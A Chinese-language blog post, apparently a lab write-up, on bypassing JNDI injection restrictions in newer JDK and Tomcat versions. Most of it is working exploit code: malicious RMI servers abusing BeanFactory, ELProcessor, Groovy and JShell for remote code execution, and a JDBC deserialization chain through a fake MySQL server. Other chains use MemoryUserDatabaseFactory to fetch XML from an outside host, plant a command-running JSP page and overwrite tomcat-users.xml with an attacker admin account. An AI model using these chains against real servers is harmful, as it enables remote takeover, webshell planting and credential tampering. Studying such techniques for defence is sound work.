JNDI 高版本的绕过
为了防止 JNDI 攻击,Oracle 对 JNDI 的远程类加载漏洞(如 LDAP
或 RMI
协议的远程代码执行(RCE))进行了限制
com.sun.jndi.rmi.object.trustURLCodebase=false
com.sun.jndi.cosnaming.object.trustURLCodebase=false
com.sun.jndi.ldap.object.trustURLCodebase=false
旧版本(如 JDK 8u121 及以下)默认为 true
,允许远程类加载。
具体的版本可以看我上一篇文章 java-JNDI 攻击流程 (一) - Ling-X5 - 博客园
低版本 高版本
通过对比我们也可以看到,当 trustURLCodebase 为 true 时,才允许加载 codebase 远程类
绕过原理
主要是因为在 JNDI 查询带特定的 Referenc_Wrapper 对象后,回去用 com.sun.jndi.rmi.registry.RegistryContext#decodeObject 解析,里面调用了 javax.naming.spi.NamingManager#getObjectInstance 方法,而这个方法回去获得 ref 中的工厂,并调用工厂的 getObjectInstance 方法
我们就想到看有没有本地工厂的 getObjectInstance 是可以利用的
JNDI-Tomcat 绕过
还记得我们当时在编写 Exploit 的时候说过,他会先去加载本地的类,本地没有他才会去加载 codebase 指定的远程类
它限制了我们加载远程的方式,那我们可不可以找一个本地的工厂,来实现 RCE 呢?
我们要找到一个工厂类,需要满足一下几个条件:
- 工厂类必须实现 javax.naming.spi.ObjectFactory 接口,因为 javax.naming.spi.NamingManager#getObjectFactoryFromReference 方法,在返回时做了 ObjectFactory 类型的强转
- 该工厂类至少存在一个 getObjectInstance() 方法,从工厂中获得实例
而恰好 org.apache.naming.factory.BeanFactory 类符合。有了 Factory,我们还需要从 Factory 去拿到一个可以执行命令的实例,且可以被我们控制行为。
BeanFactory+ELProcessor
javax.el.ELProcessor#eval 方法,支持 EL 表达式的执行,可以传入一个字符串,从而实现 RCE。这其实是 BeanFactory 的实现逻辑造成的
BeanFactory 在处理 Reference 时,会检查属性并调用目标对象的 setter 方法。通常,setter 方法的名称是根据属性名推导的(例如属性 x 对应 setX)。但 BeanFactory 支持一个特殊属性 forceString,可以强制指定 setter 方法的名称。
攻击者可以利用这一点,将某个属性的 setter 方法重定向到 eval 方法。
官方当时的介绍是: 新的属性“forceString”接受以逗号分隔的项作为值。每个项要么是一个 bean 属性名称(例如“foo”),意味着该属性有一个 setter 函数“setFoo(String)”。或者该项的形式为“foo = method”,意味着属性“foo”可以通过调用“method(String)”来设置。
导入依赖
<dependency><groupId>org.glassfish</groupId><artifactId>javax.el</artifactId><version>3.0.1-b12</version>
</dependency>
<dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-catalina</artifactId><version>9.0.8</version>
</dependency>
EvilRMIServer
package com.evil;import java.rmi.registry.*;
import javax.el.ELProcessor;
import javax.naming.*;import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;public class EvilRMIServer {public static void main(String[] args) throws Exception {// 创建一个RMI注册表,监听1099端口Registry registry = LocateRegistry.createRegistry(1099);// 创建一个ResourceRef对象,指定工厂类为BeanFactoryResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory", null);// 添加StringRefAddr,设置forceString属性为"x=eval"ref.add(new StringRefAddr("forceString", "x=eval"));// 添加StringRefAddr,设置x属性,用于执行系统命令ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script" +".ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));// 创建ReferenceWrapper对象,包装ResourceRef对象ReferenceWrapper wrapper = new ReferenceWrapper(ref);// 将ReferenceWrapper对象绑定到RMI注册表中,名称为"Exploit"registry.bind("Exploit", wrapper);// 输出提示信息,表示恶意RMI服务器正在运行System.out.println("Evil RMI server running on port 1099...");}
}
JNDIvuln
package com.lingx5;import javax.naming.InitialContext;public class JNDIvuln {public static void main(String[] args) {try {InitialContext context = new InitialContext();context.lookup("rmi://localhost:1099/Exploit");} catch (Exception e) {e.printStackTrace();}}
}
基本的执行流程就是
客户端(JNDIvuln)的 lookup()方法会去调用 javax.naming.spi.NamingManager#getObjectFactoryFromReference ( 中间过程就省略了 ),会去从本地记载我们指定的 org.apache.naming.factory.BeanFactory,拿到 BeanFactory 后,执行 org.apache.naming.factory.BeanFactory#getObjectInstance 方法,初始化 javax.el.ELProcessor 对象,利用 forceString 机制,使得 javax.el.ELProcessor#eval 方法执行我们的 payload,实现 RCE
图中展示了关键的参数和方法
Nashorn JavaScript 引擎,可以解析 javascript 脚本,执行命令,不过 Java15 以后,删除了这种引擎。幸运的是,自 Java 9 以来,有一个等效的替代方案。我们可以使用 JShell
,使用一下 payload 替代
String payload = "{" +" \"\".getClass().forName(\"jdk.jshell.JShell\")" +".getMethod(\"create\").invoke(null).eval(\"java.lang.Runtime.getRuntime()" +".exec(${command})\")" +"}".replace("${command}", "\\\"" + Config.command + "\\\"");
BeanFactory+groovy
groovy.lang.GroovyClassLoader#parseClass(java.lang.String)
parseClass 使用 Groovy 的编译器(基于 groovy.lang.GroovyShell 和 org.codehaus.groovy.control.CompilerConfiguration)将字符串编译为 Java 字节码。然后会触发类加载,执行我们的恶意代码
GroovyClassLoader
的特殊性:与标准的 ClassLoader.defineClass
不同,GroovyClassLoader
在解析脚本时可能推迟了类的加载和链接步骤,直到需要时才完成。这与传统的 Java 类加载机制(如 Class.forName()
或直接使用 .class
文件)有所不同。
我们先来看一下 groovy.lang.GroovyClassLoader#parseClass(java.lang.String)这个方法能干什么
示例
package com.evil;import groovy.lang.GroovyClassLoader;public class groovyTest {public static void main(String[] args) throws Exception {GroovyClassLoader gcl = new GroovyClassLoader();String script = "class Evil { " +"static { Runtime.getRuntime().exec(\"calc\") } }";Class<?> clazz = gcl.parseClass(script);System.out.println(clazz);
// clazz.getConstructor().newInstance();}
}
结果
只有类名输出,而没有执行我们的静态代码块。说明他和 defineClass 方法作用很相似,只是把类在内存中做了定义,并没有初始化
我们把注释打开,显示初始化这个类
计算机弹出来了,那我们有没有办法让 groovy.lang.GroovyClassLoader#parseClass(java.lang.String),不仅仅是在内存定义类,还去执行一些方法呢?
有的,兄弟!有的
GroovyClassLoader.parseClass 调用 Groovy 的编译器。编译器支持 @ASTTest 注解,@ASTTest 的 value 闭包是在编译器处理脚本时立即运行,而不是等到类加载或实例化。
于是我们就有了
package com.evil;import groovy.lang.GroovyClassLoader;public class groovyTest {public static void main(String[] args) throws Exception {GroovyClassLoader gcl = new GroovyClassLoader();String script = "@groovy.transform.ASTTest(value={\n" +" assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +"})\n" +"def x\n";Class<?> clazz = gcl.parseClass(script);System.out.println(clazz);
// clazz.getConstructor().newInstance();}
}
evilGroovyServer
package com.evil;import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class evilGroovyServer {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(1099);ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory", null);ref.add(new StringRefAddr("forceString", "x=parseClass"));String script = "@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"calc\")\n})\ndef x\n";ref.add(new StringRefAddr("x",script));ReferenceWrapper wrapper = new ReferenceWrapper(ref);registry.bind("Exploit", wrapper);}
}
JNDIvuln
package com.lingx5;import javax.naming.InitialContext;public class JNDIvuln {public static void main(String[] args) {try {InitialContext context = new InitialContext();context.lookup("rmi://localhost:1099/Exploit");} catch (Exception e) {e.printStackTrace();}}
}
版本修复
但是 BeanFactory 的这个 forceString 特性最终还是被修复了(也就是被删除了),下面是修复的版本
Tomcat finally modified the BeanFactory
in the following versions:
- 10.1.x for 10.1.0-M14 onwards
- 10.0.x for 10.0.21 onwards
- 9.0.x for 9.0.63 onwards
- 8.5.x for 8.5.79 onwards
ResourceFactory 二次注入
类似的还有 LookupFactory,OpenEjbFactory,JavaBeanObjectFactory 其原理和方法大致都相同。
org.apache.naming.factory.ResourceFactory 工厂类实现了 FactoryBase 类,回去执行 org.apache.naming.factory.FactoryBase#getObjectInstance 方法,
public final Object getObjectInstance(Object obj, // 要创建的对象的引用(通常是Reference对象)Name name, // 对象的名称(JNDI命名路径)Context nameCtx, // 上下文环境(用于解析相对名称)Hashtable<?,?> environment // JNDI环境参数(如安全配置、属性等)
) throws Exception {// 1. 检查输入对象是否为支持的引用类型(如Reference)if (isReferenceTypeSupported(obj)) {Reference ref = (Reference) obj;// 2. 尝试获取已缓存或直接链接的对象(避免重复创建)Object linked = getLinked(ref);if (linked != null) {return linked; // 直接返回已存在的实例}// 3. 初始化工厂对象(用于创建目标资源)ObjectFactory factory = null;RefAddr factoryRefAddr = ref.get(Constants.FACTORY); // 获取factory属性// 3.1 如果引用中指定了工厂类if (factoryRefAddr != null) {// 提取工厂类的全限定类名String factoryClassName = factoryRefAddr.getContent().toString();// 3.2 加载工厂类(使用线程上下文类加载器或默认类加载器)ClassLoader tcl = Thread.currentThread().getContextClassLoader();Class<?> factoryClass = null;try {if (tcl != null) {factoryClass = tcl.loadClass(factoryClassName);} else {factoryClass = Class.forName(factoryClassName);}} catch (ClassNotFoundException e) {// 工厂类未找到,抛出命名异常NamingException ex = new NamingException("Could not load resource factory class");ex.initCause(e);throw ex;}// 3.3 实例化工厂类(通过无参构造函数)try {factory = (ObjectFactory) factoryClass.getConstructor().newInstance();} catch (Throwable t) {// 处理实例化过程中的异常(如构造函数抛出的异常)if (t instanceof NamingException) {throw (NamingException) t;}if (t instanceof ThreadDeath) {throw (ThreadDeath) t;}if (t instanceof VirtualMachineError) {throw (VirtualMachineError) t;}// 其他异常包装为NamingExceptionNamingException ex = new NamingException("Could not create resource factory instance");ex.initCause(t);throw ex;}} else {// 3.4 若未指定工厂类,使用默认工厂(由子类实现)factory = getDefaultFactory(ref);}// 4. 使用工厂创建目标对象if (factory != null) {return factory.getObjectInstance(obj, name, nameCtx, environment // 递归调用工厂的getObjectInstance);} else {// 工厂未找到,抛出异常throw new NamingException("Cannot create resource instance");}}// 输入对象不支持,返回nullreturn null;
}
之里面的主要可以产生利用的逻辑,我摘出来看一下
ObjectFactory factory = null;
RefAddr factoryRefAddr = ref.get(Constants.FACTORY); // 获取factory属性// 3.1 如果引用中指定了工厂类
if (factoryRefAddr != null) {// 提取工厂类的全限定类名String factoryClassName = factoryRefAddr.getContent().toString();// 3.2 加载工厂类ClassLoader tcl = Thread.currentThread().getContextClassLoader();Class<?> factoryClass = null;if (tcl != null) {factoryClass = tcl.loadClass(factoryClassName);} else {factoryClass = Class.forName(factoryClassName);}
}
else {// 3.4 若未指定工厂类,使用默认工厂factory = getDefaultFactory(ref);
}
// 4. 使用工厂创建目标对象
if (factory != null) {return factory.getObjectInstance(obj, name, nameCtx, environment // 调用工厂的getObjectInstance);
}
主要就是获取 ref 中的 factory 属性,如果没有,就获取默认的工厂。最后调用获得工厂的 getObjectInstance 方法。这里我们实际上已经可以实现二次注入了,最后还是会去调用 getObjectInstance,只是前边绕了一圈。我们可以利用这一性质去绕过一些黑名单。
factory 属性利用
我们依然可以搭配 BeanFactory 实现 RCE
你可能会觉得绕这么一圈有点没用,其实我们可以使用这个做很多事情,如果开发自己写的过滤条件只是把 BeanFactory 加入了黑名单,我们就可以使用 ResourceFactory 来进行绕过了
代码示例
evilResourceFactory
package com.evil;import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class evilResourceFactory {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(1099);ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.ResourceFactory", null);ref.add(new StringRefAddr("factory", "org.apache.naming.factory.BeanFactory"));ref.add(new StringRefAddr("forceString", "x=eval"));ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script" +".ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval" +"(\"java.lang.Runtime.getRuntime().exec('calc')\")"));ReferenceWrapper wrapper = new ReferenceWrapper(ref);registry.bind("Exploit", wrapper);}
}
JNDIvuln
package com.lingx5;import javax.naming.InitialContext;public class JNDIvuln {public static void main(String[] args) {try {InitialContext context = new InitialContext();context.lookup("rmi://localhost:1099/Exploit");
// context.lookup("ldap://localhost:1389/cn=exploit,dc=example,dc=com");} catch (Exception e) {e.printStackTrace();}}
}
运行
其实我们还可以利用二次注入玩很多东西。
默认工厂利用
我们可以实现 JDBC ATTACK,如果你对 JDBC attack 不熟悉,可以去看 Tri0mphe 师傅的这篇文章:文章 - 小白看得懂的 MySQL JDBC 反序列化漏洞分析 - 先知社区,当然我后边也会讲一些
分析
如果我们没有 set factory 属性,我们会执行 factory = getDefaultFactory(ref); ,org.apache.naming.factory.ResourceFactory#getDefaultFactory 看一下这个方法
protected ObjectFactory getDefaultFactory(Reference ref) throws NamingException {ObjectFactory factory = null;// ref的resourceClass我们就必须设置为javax.sql.DataSource才会进入if的逻辑if (ref.getClassName().equals("javax.sql.DataSource")) {// Constants.DBCP_DATASOURCE_FACTORY的值为org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactoryString javaxSqlDataSourceFactoryClassName =System.getProperty("javax.sql.DataSource.Factory",Constants.DBCP_DATASOURCE_FACTORY);try {// 初始化BasicDataSourceFactory工厂factory = (ObjectFactory) Class.forName(javaxSqlDataSourceFactoryClassName).getConstructor().newInstance();} catch (Exception e) {NamingException ex = new NamingException("Could not create resource factory instance");ex.initCause(e);throw ex;}//javax.mail.Session 没有可利用的点} else if (ref.getClassName().equals("javax.mail.Session")) {String javaxMailSessionFactoryClassName =System.getProperty("javax.mail.Session.Factory","org.apache.naming.factory.MailSessionFactory");try {factory = (ObjectFactory) Class.forName(javaxMailSessionFactoryClassName).getConstructor().newInstance();} catch(Throwable t) {if (t instanceof NamingException) {throw (NamingException) t;}if (t instanceof ThreadDeath) {throw (ThreadDeath) t;}if (t instanceof VirtualMachineError) {throw (VirtualMachineError) t;}NamingException ex = new NamingException("Could not create resource factory instance");ex.initCause(t);throw ex;}}return factory;
}
org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory#getObjectInstance 会去处理 JDBC 连接的配置属性,当 dataSource.getInitialSize() > 0 时 dataSource.getLogWriter() 创建连接。在创建 connect 的时候我们的 url 设置 "jdbc:mysql://127.0.0.1:3306/security?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";
。触发 ServerStatusDiffInterceptor 连接器的 postProcess 方法,从而触发 JDBC 反序列
这里我们可以用工具生成恶意的 mysql 服务:MySQL Fake Server

我这里的 mysql 版本为 8.0.11
<dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><version>8.0.11</version></dependency>
evilResourceFactory
package com.evil;import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class evilResourceFactory {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(1099);ResourceRef ref = new ResourceRef("javax.sql.DataSource", null, "", "", true,"org.apache.naming.factory.ResourceFactory", null);ref.add(new StringRefAddr("driverClassName", "com.mysql.cj.jdbc.Driver"));String jdbcUrl = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors" +"=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc";ref.add(new StringRefAddr("url", jdbcUrl));ref.add(new StringRefAddr("username", "deser_CC31_calc"));ref.add(new StringRefAddr("initialSize", "1"));ReferenceWrapper wrapper = new ReferenceWrapper(ref);registry.bind("Exploit", wrapper);}
}
JNDIvuln
package com.lingx5;import javax.naming.InitialContext;public class JNDIvuln {public static void main(String[] args) {try {InitialContext context = new InitialContext();context.lookup("rmi://localhost:1099/Exploit");} catch (Exception e) {e.printStackTrace();}}
}
成功弹出了计算机
JNDI-JDBC 绕过
BasicDataSourceFactory
我们来了解一下 JDBC 的反序列化
首先反序列化的入口肯定是 readObject()方法,我们首先来看 com.mysql.cj.jdbc.result.ResultSetImpl#getObject(int)方法
然后去看有谁在调用 getObject()方法,有没有利用的可能。看到了 com.mysql.cj.jdbc.util.ResultSetUtil#resultSetToMap(java.util.Map, java.sql.ResultSet)
调用链基本就找到了
com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues↓com.mysql.cj.jdbc.util.ResultSetUtil#resultSetToMap(java.util.Map, java.sql.ResultSet)↓com.mysql.cj.jdbc.result.ResultSetImpl#getObject(int)↓java.io.ObjectInputStream#readObject()
而 ServerStatusDiffInterceptor 这个类是一个拦截器,我们发送特定的请求他就会拦截处理请求,自动执行他的 preProcess(执行一个核心方法之前)和 postProcess(执行完核心方法之后)
这里我们依然可以用 BasicDataSourceFactory 工厂来触发 JDBC 连接,让 JNDI 服务器查询恶意的 MYSQL 服务器,触发 Gadget 反序列化。
evilJDBC
package com.evil;import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class evilJDBC {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(1099);ResourceRef ref = new ResourceRef("javax.sql.DataSource", null, "", "", true,"org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory", null);ref.add(new StringRefAddr("driverClassName", "com.mysql.cj.jdbc.Driver"));String jdbcUrl = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors" +"=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc";ref.add(new StringRefAddr("url", jdbcUrl));ref.add(new StringRefAddr("username", "deser_CC31_calc"));ref.add(new StringRefAddr("initialSize", "1"));ReferenceWrapper wrapper = new ReferenceWrapper(ref);registry.bind("Exploit", wrapper);}
}
JNDIvlun
package com.lingx5;import javax.naming.InitialContext;public class JNDIvuln {public static void main(String[] args) {try {InitialContext context = new InitialContext();context.lookup("rmi://localhost:1099/Exploit");} catch (Exception e) {e.printStackTrace();}}
}
同时开启 fake-mysql 服务

看到成功执行了命令
JNDI-XXE 绕过
来到 org.apache.catalina.users.MemoryUserDatabaseFactory#getObjectInstance 这个方法
/*** 根据指定的 Reference 对象创建并返回一个新的 MemoryUserDatabase 实例。* 如果无法创建实例,则返回 null。** @param obj 包含位置或引用信息的对象,用于创建目标对象,可能为 null* @param name 相对于 nameCtx 的对象名称,如果 nameCtx 为 null,则相对于默认初始上下文* @param nameCtx 名称所指定的上下文,可能为 null* @param environment 用于创建此对象的环境,可能为 null* @return 配置好的 MemoryUserDatabase 实例,如果无法创建则返回 null* @throws Exception 如果在创建对象过程中发生异常*/
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx,Hashtable<?,?> environment)throws Exception {// 检查 obj 是否为有效的 Reference 类型,并确保其类名为 "org.apache.catalina.UserDatabase"if ((obj == null) || !(obj instanceof Reference)) {return null;}Reference ref = (Reference) obj;if (!"org.apache.catalina.UserDatabase".equals(ref.getClassName())) {return null;}// 创建 MemoryUserDatabase 实例并根据 Reference 的 RefAddr 值进行配置MemoryUserDatabase database = new MemoryUserDatabase(name.toString());RefAddr ra = null;// 设置数据库的路径名属性ra = ref.get("pathname");if (ra != null) {database.setPathname(ra.getContent().toString());}// 设置数据库的只读属性ra = ref.get("readonly");if (ra != null) {database.setReadonly(Boolean.parseBoolean(ra.getContent().toString()));}// 打开数据库并保存(如果非只读)database.open();// 如果数据库不是只读模式,则尝试保存配置if (!database.getReadonly()) {database.save();}return database;}
他这里做完 MemoryUserDatabase 的配置后,执行了 org.apache.catalina.users.MemoryUserDatabase#open 方法,它负责从 XML 配置文件中加载用户、组和角色信息到内存数据库中。我们来看 open 的逻辑
他最后 parse()解析 xml,这里我们实际上已经可以利用 xxe 实现 ssrf 内网扫描了。
ssrf 扫描内网
这里可以简单画一个流程图
恶意的 xml 服务器 JNDI 漏洞服务器(本地)
evilMemory
package com.evil;import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class evilMemory {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(1099);ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase",null, "", "", false,"org.apache.catalina.users.MemoryUserDatabaseFactory", null);ref.add(new StringRefAddr("pathname", "http://lingx5.dns.army:8000/evil.xml"));ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);registry.bind("Exploit", referenceWrapper);}
}
JNDIvuln
package com.lingx5;import javax.naming.InitialContext;public class JNDIvuln {public static void main(String[] args) {try {InitialContext context = new InitialContext();context.lookup("rmi://localhost:1099/Exploit");
// context.lookup("ldap://localhost:1389/cn=exploit,dc=example,dc=com");} catch (Exception e) {e.printStackTrace();}}
}
利用远程的 xml,让存在 JNDI 的漏洞服务器发送了一个本地请求
实现 RCE
其实利用 XXE 实现 RCE 是很困难的,更多的就是 ssrf 和文件读取的利用,因为 XXE 的 SYSTEM
实体和 ENTITY
声明的主要目的是引用外部资源(文件或 URL)它们的设计目的是读取文件内容或发起网络请求,而不是执行任意的操作系统命令。但是浅蓝师傅还是做到了,让我们跟着师傅的思路复现一下
在解析 XML 的过程中,我们把结果进行了数据填充
digester.addFactoryCreate("tomcat-users/group", new MemoryGroupCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/role", new MemoryRoleCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/user", new MemoryUserCreationFactory(this), true);
它们定义了 如何将 XML 配置文件中的特定 XML 元素映射到 Java 对象 的规则, 简单来说,它们告诉
Digester
XML 解析器:
在 XML 中遇到
<tomcat-users>
元素下的<group>
、<role>
或<user>
元素时,分别使用MemoryGroupCreationFactory
、MemoryRoleCreationFactory
和MemoryUserCreationFactory
这些 工厂来创建相应的 Java 对象。
看 MemoryUserCreationFactory(this)它具体干了什么
主要逻辑就是根据解析内容创建 java 对象,然后返回
最后
org.apache.catalina.users.MemoryUserDatabase#open 执行完之后,我们会去执行 org.apache.catalina.users.MemoryUserDatabase#save 方法
这里我们肯定时候要访问外部服务器的,也就是我们的pathname的格式肯定是http://lingx5.dns.army:8000/
这样的格式,在进行拼接,所以filenew就是 D:/JAVA/apache-tomcat-8.5.91/http:lingx5.dns.army:8000/webapps/ROOT/evil-user.jsp.new
我们可以使用../
来调整文件位置(仅是在window),liunx可以去看浅蓝师傅的文章,用到BeanFactory结合文件的工厂创建了形如http://example.com/
的文件目录。
使得filenew 变为 D:/JAVA/apache-tomcat-8.5.91/http:lingx5.dns.army:8000../../webapps/ROOT/evil-user.jsp.new
后边代码修改了文件名,把后缀.new
去掉了
tomcat7 RCE
evil-user.jsp
在http服务的文件
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"version="1.0"><role rolename="<%Runtime.getRuntime().exec("calc"); %>"/>
</tomcat-users>
evilMemory
这个时RMI的服务端文件
package com.evil;import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class evilMemory {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(11099);ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase",null, "", "", false,"org.apache.catalina.users.MemoryUserDatabaseFactory", null);ref.add(new StringRefAddr("pathname", "http://lingx5.dns.army:8000/../." +"./webapps/ROOT/evil-user.jsp"));ref.add(new StringRefAddr("readonly", "false"));ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);registry.bind("Exploit", referenceWrapper);}
}
JNDItomcatvuln
这个我们需要部署到tomcat服务器上去,我是打成war包,部署上去的。因为我在idea上部署,idea会默认改变我的Globals.CATALINA_BASE_PROP
的值。
package com.lingx5;import javax.naming.InitialContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;@WebServlet("/jndi")
public class JNDItomcatvuln extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) {try {InitialContext context = new InitialContext();context.lookup("rmi://localhost:11099/Exploit");
// context.lookup("ldap://localhost:1389/cn=exploit,dc=example,dc=com");} catch (Exception e) {e.printStackTrace();}}
}
防止版本依赖的一些问题,我的war包里面就放了一个JNDItomcatvuln文件,打成war包部署到tomcat7中
启动tomcat 和 evilMemory(RMI)服务,同时开启我们远程的http服务
我们在浏览器访问
http://localhost:8080/JNDItomcat/jndi
远程恶意服务器接收到请求
看到evil-user.jsp成功写入

我们访问 evil-user.jsp
发现弹出计算器成功

版本对比
不过这仅仅实在tomcat7中,可以把我们恶意的属性,就是进行html实体编码的<
,“”
,>
这种特殊字符进行传输。
而从 Tomcat 8 开始,Apache Tomcat 团队为了提升安全性,特别是防御 XXE (XML External Entity) 注入和某些类型的注入攻击,对 XML 解析过程进行了增强。其中一个重要的改变就是 默认启用 HTML 实体编码。
<
会被编码为<
>
会被编码为>
"
会被编码为"
&
会被编码为&
'
会被编码为'
tomcat8 RCE
即使他进行了html的实体编码,我们依然是可以写文件的,如果tomcat服务器开启了manager界面,我们可以利用这一特性把tomcat-user.xml覆盖掉,创建一个我们自定义的管理员用户
tomcat-users.xml
恶意的远程http服务
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"version="1.0"><role rolename="manager-gui"/><role rolename="manager-script"/><user username="lingx5" password="123456" roles="manager-gui,manager-script"/>
</tomcat-users>
JNDItomcatvuln
受害者主机
package com.lingx5;import javax.naming.InitialContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;@WebServlet("/jndi")
public class JNDItomcatvuln extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) {try {InitialContext context = new InitialContext();context.lookup("rmi://localhost:11099/Exploit");
// context.lookup("ldap://localhost:1389/cn=exploit,dc=example,dc=com");} catch (Exception e) {e.printStackTrace();}}
}
evilMemory
恶意的RMI服务
package com.evil;import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class evilMemory {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(11099);ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase",null, "", "", false,"org.apache.catalina.users.MemoryUserDatabaseFactory", null);ref.add(new StringRefAddr("pathname", "http://lingx5.dns.army:8000/../." +"./conf/tomcat-users.xml"));ref.add(new StringRefAddr("readonly", "false"));ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);registry.bind("Exploit", referenceWrapper);}
}
开启rmi服务

war包部署到tomcat8中

开启http服务

访问http://localhost:8080/JNDItomcat/jndi
,后登录http://localhost:8080/manager/html

成功进入tomcat后台,我们在上传恶意的war包,就可以拿下这台主机的权限了

总结
JNDI的玩法还是有很多,当然我这里也不是所有内容,只是从师傅的文章中挑了些感觉有趣的。不过对于高版本的绕过,基本上原理就是这样的。
参考文章
java 高版本下各种 JNDI Bypass 方法复现 - bitterz - 博客园
JDBC Attack 与高版本 JDK 下的 JNDI Bypass – 奇安信技术研究院
JNDI Mind Tricks | MOGWAI LABS
文章 - 高版本 JNDI 注入-高版本 Tomcat 利用方案 - 先知社区
文章 - 小白看得懂的 MySQL JDBC 反序列化漏洞分析 - 先知社区
探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖